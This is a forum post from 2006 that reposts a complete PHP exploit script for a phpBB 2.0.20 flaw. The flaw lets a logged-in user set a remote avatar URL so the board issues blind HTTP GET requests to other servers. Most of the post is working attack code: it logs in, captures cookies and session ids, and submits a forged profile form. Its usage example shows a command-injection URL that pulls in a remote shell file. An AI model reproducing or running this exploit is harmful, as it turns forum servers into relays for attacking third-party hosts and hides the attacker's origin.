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PhpBB <= v2.0.20 HTTP Proxy vulnerability
PostPosted: Sat Jul 15, 2006 12:28 pm Reply with quote
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Original: http://retrogod.altervista.org/phpbb_2020_proxy.html

Code:

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PhpBB <= v2.0.20 HTTP Proxy vulnerability\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass url OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PhpBB\r\n";
echo "url: launch an exploit against a third-party server\r\n";
echo "user/pass: you need a valid user account \r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpbb/ your_username password http://www.somevulnerablehost.com/somescript?cmd=somecommand\\>somepage\\&xpl=http://someshell.txt\r\n";
die;
}

/*explaination:
u can use PhpBB installations to launch exploits against other servers,
using "avatarurl" argument when you modify your profile as path
of a GET request.

Look usercp_avatar.php near lines 125-153:


...
if ( $avatar_mode == 'remote' && preg_match('/^(http:\/\/)?([\w\-\.]+)\:?([0-9]*)\/(.*)$/', $avatar_filename, $url_ary) )
{
if ( empty($url_ary[4]) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
return;
}

$base_get = '/' . $url_ary[4];
$port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;

if ( !($fsock = @fsockopen($url_ary[2], $port, $errno, $errstr)) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . '<br />' . $lang['No_connection_URL'] : $lang['No_connection_URL'];
return;
}

@fputs($fsock, "GET $base_get HTTP/1.1\r\n");
@fputs($fsock, "HOST: " . $url_ary[2] . "\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");

unset($avatar_data);
while( !@feof($fsock) )
{
$avatar_data .= @fread($fsock, $board_config['avatar_filesize']);
}
@fclose($fsock);
...

phpbb do not check if the user supplied value ends with an image extension, neither
checks if the supplied string contains "&" and "?" chars. So, you can submit a value
like this:

http://some_vulnerable.host/somescript.php?cmd=ls%20-la&xpl=http://someh
ost/someshell.txt

phpbb will launch a GET request like this:

GET /somescript.php?cmd=ls%20-la&xpl=http://somehost/someshell.txt HTTP/1.0
HOST: some_vulnerable.host
Connection: close

obviously you have no output, but this makes phpbb to be like a blind http proxy

*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;

}


$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$url=$argv[5];
$port=80;$proxy="";
for ($i=6; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{die("Wrong syntax...");}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step 1 -> Login ...\r\n";
$data="username=".trim(urlencode($username));
$data.="&password=".trim(urlencode($pass));
$data.="&redirect=".urlencode("admin/index.php?admin=1");
$data.="&admin=1";
$data.="&login=Log+in";
$packet="POST ".$path."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[3]);
$cookie=$temp2[0];
$temp2=explode(" ",$temp[4]);
$cookie.=" ".$temp2[0];
echo "Cookie ->".$cookie."\r\n";
$temp=explode("admin=1&sid=",$html);
$temp2=explode("\n",$temp[1]);
$sid=trim($temp2[0]);
echo "sid ->".urlencode($sid)."\r\n\r\n";
if (($cookie=='') | ($sid=='')) {die("Unable to login...");}

echo "step 2 -> launch the GET request for: ".$url."\r\n";
$data='-----------------------------7d62702f250530
Content-Disposition: form-data; name="username"

'.trim(urlencode($username)).'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="email"

fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="cur_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="new_password"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="password_confirm"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="icq"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="aim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="msn"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="yim"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="website"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="location"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="occupation"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="interests"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="signature"

suntzu
-----------------------------7d62702f250530
Content-Disposition: form-data; name="viewemail"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="hideonline"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifyreply"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="notifypm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="popup_pm"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="attachsig"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowbbcode"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowhtml"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="allowsmilies"

1
-----------------------------7d62702f250530
Content-Disposition: form-data; name="language"

italian
-----------------------------7d62702f250530
Content-Disposition: form-data; name="style"

1047
-----------------------------7d62702f250530
Content-Disposition: form-data; name="timezone"

2
-----------------------------7d62702f250530
Content-Disposition: form-data; name="dateformat"

D M d, Y g:i a
-----------------------------7d62702f250530
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatar"; filename="";


-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarurl"

'.$url.'
-----------------------------7d62702f250530
Content-Disposition: form-data; name="avatarremoteurl"


-----------------------------7d62702f250530
Content-Disposition: form-data; name="mode"

editprofile
-----------------------------7d62702f250530
Content-Disposition: form-data; name="agreed"

true
-----------------------------7d62702f250530
Content-Disposition: form-data; name="coppa"

0
-----------------------------7d62702f250530
Content-Disposition: form-data; name="user_id"

666
-----------------------------7d62702f250530
Content-Disposition: form-data; name="current_email"

fake@fake_hotmail.com
-----------------------------7d62702f250530
Content-Disposition: form-data; name="submit"

Submit
-----------------------------7d62702f250530--
';

$packet="POST ".$path."profile.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.$path."profile.php?mode=editprofile\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
echo "sent...\r\n";
?>


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